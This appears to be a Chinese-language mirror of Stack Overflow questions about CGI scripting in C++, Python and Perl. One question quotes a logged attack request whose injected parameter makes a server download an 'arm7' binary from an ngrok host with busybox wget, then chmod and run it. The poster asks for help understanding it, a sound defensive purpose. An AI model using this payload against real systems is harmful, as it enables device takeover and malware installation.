标签: cgi

从 cgi POST 数据中获取输入

这是我用 cgi 检索 html 数据的 c++ 代码。

char* fileContentLength;
int nContentLength;
fileContentLength = getenv("CONTENT_LENGTH");

if(fileContentLength == NULL)   
    return -1;      

nContentLength = atoi(fileContentLength);   

if(nContentLength == 0) 
    return -1;

data = (char*) malloc(nContentLength+1);

if(data == NULL)    
    return -1;

memset(data, 0, nContentLength+1);  
if(fread(data, 1, nContentLength, stdin) == 0)  
    return -1;

if(ferror(stdin))
Run Code Online (Sandbox Code Playgroud)

执行此代码后,我得到了变量“data”的以下结果。

f0=fname0&l0=lname0&f1=fname1&l1=lname1&f2=fname2&l2=lname2&f3=&l3=

这里 f0,l0,f1,l1 是 HTML 页面输入框的名称。从这个字符串中,我需要将 fname0、lname0、fname1、lname1 等值分开。我使用了 sscanf 功能。但我无法检索到正确的结果。如何将上述字符串中的值分配给名为 firstname 和 lastname 的局部变量。

c++ post cgi input scanf

1
推荐指数
1
解决办法
2892
查看次数

如何在 Python CGI 脚本中访问 URL 的查询字符串?

我正在尝试访问 python 脚本中的查询字符串:在 bash 中,我将使用${QUERY_STRING}环境变量访问它。

我遇到过这样的事情:/sf/answers/193537571/,但是这个脚本,由 Apache2 运行:

#!/usr/bin/python

print self.request.query_string
Run Code Online (Sandbox Code Playgroud)

不打印任何内容,在命令行中,同样会产生此错误:

$ ./testing.py
Traceback (most recent call last):
  File "./testing.py", line 3, in <module>
    print self.request.query_string
NameError: name 'self' is not defined
Run Code Online (Sandbox Code Playgroud)

我如何阅读query_string

cgi apache2 python-2.7

1
推荐指数
2
解决办法
1万
查看次数

你能确认我这个奇怪的帖子请求是一种网络攻击吗?

我打开了一个网站,它的目的只是共享文本信息。后端没有数据库,或者不知道对它进行身份验证。但是,当我查看日志时,我注意到了这个请求:

POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a
Run Code Online (Sandbox Code Playgroud)

它发生了两次,我的服务器每次都响应 404 响应。但现在我有点担心它。我的网站在树莓派上运行,该树莓派连接到我的 ISP 设备。即使我的服务器没有任何 sudo 权限,我想知道他们是否有任何风险?

另外,有人可以向我解释这些可疑条目的含义。可能有什么风险?最后,您能否与我分享在任何设备(树莓派)和互联网之间设置管道时的一些技巧/良好行为。

security post cgi

1
推荐指数
1
解决办法
2110
查看次数

我需要用 Defined(@array) 和 Defined(%hash) 重构一段古老的 Perl 代码

我正在运行一个古老版本的 Movable Type,它对我来说效果很好。但是,我开始收到以下服务器错误:

defined(@array) is deprecated at /home/public_html/cgi-bin/mt/extlib/Locale/Maketext.pm line 623.
defined(%hash) is deprecated at /home/public_html/cgi-bin/mt/extlib/Locale/Maketext.pm line 623.
Run Code Online (Sandbox Code Playgroud)

我找到了有问题的行:

if defined(%{$module . "::Lexicon"}) or defined(@{$module . "::ISA"});
Run Code Online (Sandbox Code Playgroud)

以下是重构这一行的正确方法吗?

if %{$module . "::Lexicon"} or @{$module . "::ISA"};
Run Code Online (Sandbox Code Playgroud)

如果是这样,为什么?如果没有,为什么不呢?我想更好地了解defined(@array)和发生了什么defined(%hash)

更新:我还在第 367 行发现了类似的问题CGI.pm

if (defined(@QUERY_PARAM) && !defined($initializer)) {
Run Code Online (Sandbox Code Playgroud)

我重写了如下,但我仍然不确定它是否正确:

if (@QUERY_PARAM && $initializer) {
Run Code Online (Sandbox Code Playgroud)

我可以看到如何@QUERY_PARAM确认它存在,但我可能没有设置第二个不存在的条件$initializer而且我不太确定如何做到这一点。

perl cgi movabletype

1
推荐指数
1
解决办法
348
查看次数

CGI和Python

这是我的问题...我有一个python脚本,一旦从命令行执行,就会执行所需的操作并退出.如果在执行过程中程序无法执行选择,他会提示用户并要求他们做出决定!现在我必须实现一个Web界面,这里出现问题...我创建了一个简单形式的htm文件,一旦用户"提交",他将参数传递给只包含一行的cgi脚本并运行我的python程序!似乎工作......我的问题是:如果它发生程序需要让用户选择,我怎么能将这个值返回到我的python脚本!为了提示用户做出选择,我需要创建一个包含可能选择的网页...有谁知道如何用python打开网页?第二个也是最重要的问题是:如何将网页中的值返回到"原始"python模块?在python我会简单地做一个

回归选择

但有一个网页我不知道该怎么做!!

回顾:1.从网页开始,我运行一个cgi脚本!完成

  1. 这个CGI脚本运行我的python程序......完成

  2. 如果该计划无法做出决定,

    3a创建一个网页,其中包含我可以做的选择

    3b显示创建的网页????????

    3c将响应返回到原来的pyhon模块????????

提前致谢

python cgi

0
推荐指数
1
解决办法
2418
查看次数

将Apache配置为使用Python就像CGI PHP一样

我认为将一种常见的方法添加到Apache Web服务器是将它配置为:

ScriptAlias /php5.3 /usr/local/php5.3/bin
Action application/php5.3 /php5.3/php-cgi
AddType application/php5.3 .php
Run Code Online (Sandbox Code Playgroud)

现在我尝试为Python编写类似的配置:

ScriptAlias /python /usr/bin
Action application/python /python/python
AddType application/python .py
Run Code Online (Sandbox Code Playgroud)

我有一个小的测试脚本,如下所示:

print "Content-Type: text/html\n\n"
print "Test"
Run Code Online (Sandbox Code Playgroud)

但是,由于apache错误日志显示以下内容,因此似乎有些错误:

Premature end of script headers: python
Run Code Online (Sandbox Code Playgroud)

所以我的第一个问题是我的python响应不对.但是有Content-Type和两个换行符.此外,调用的类似PHP脚本的输出也提供php-cgi了完全相同的输出.

此外,我还没有找到一个教程,展示如何让python以这种方式工作.也许这是不可能的,但后来我很好奇为什么会这样呢?或者我错过了什么?

python apache cgi

0
推荐指数
2
解决办法
1万
查看次数

如何以编程方式创建新的CGI脚本并立即运行?

我编写了一个Perl脚本来读取配置文件并创建CGI脚本.这工作正常,我在终端上获得CGI脚本的输出,我可以在网页上执行CGI脚本.下面是我的示例脚本.

#!/usr/bin/perl -w

use strict;
use Text::Template;

my $conf = "test.cfg";

open CFG, $conf or die "Could not open config file";
my @rawConfig = <CFG>;
my $config = eval "{".join("",@rawConfig)."}";

my $template = Text::Template->new(TYPE => 'FILE',  SOURCE => 'test.cgi.tmpl');
my $result = $template->fill_in(HASH => $config);
print $result;
Run Code Online (Sandbox Code Playgroud)

通过使用这个我必须保存每个CGI并单独执行.我需要帮助来修改此代码,以便我可以直接在Web上执行此脚本并在网页上显示输出.

perl cgi

0
推荐指数
1
解决办法
279
查看次数

perl TemplateToolkit - 无法通过包找到对象方法"new"

我继承了一个基于perl的web项目,我正在尝试建立一个本地测试服务器,以便可以在内部对项目进行更改.

服务器架构Ubuntu 9.10 php 5.2.10 mysql 5.1.37 perl 5.10.0-24ubuntu4

安装所有依赖模块和软件包,如DateTime.pm,TemplateToolkit.pm但运行该应用程序会抛出以下错误消息:

无法通过包"模板"找到对象方法"new"(也许你忘了加载"模板"?)在../lib//KPS/TemplateToolkit.pm第51行

这引用的代码块是:

sub new {
    return Template->new(
        INCLUDE_PATH => $KPS::Config::templatepath,
        ABSOLUTE     => 1,
        DEBUG        => 1,
    );
}
Run Code Online (Sandbox Code Playgroud)

如果有人能够对此有所了解或指出我正确的方向,我将不胜感激.

谢谢

Simnom

perl templates cgi ubuntu-9.10

0
推荐指数
1
解决办法
3409
查看次数

优化Perl脚本


是否有可能使这个脚本更快?

#!/usr/bin/perl -w
    use strict;
    use CGI;
    package SwitchGUI;

    sub new {
        my ($classe, $nom, $nbports, $gio) = @_;

        my $this = {
            "nom"     => $nom,
            "nbports" => $nbports,
            "gio"     => $gio
        };

        bless($this, $classe);
        $this->afficher();
        return $this;   
    }

    sub afficher {
        my ($this) = @_;
        my @tab = ( 1 .. $this->{nbports} );
        my @odd = grep { $_ % 2 } @tab;
        my @even = grep { not $_ % 2 } @tab;

        my $cgi = new CGI; …
Run Code Online (Sandbox Code Playgroud)

optimization perl cgi

0
推荐指数
1
解决办法
470
查看次数

有没有像Closure Compiler这样的工具可以压缩和优化Perl/CGI?

我试图找到一些压缩和优化我的perl的在线工具.从服务器端cgi删除(至少)空格和注释是否有任何好处?

compression optimization perl cgi

0
推荐指数
1
解决办法
104
查看次数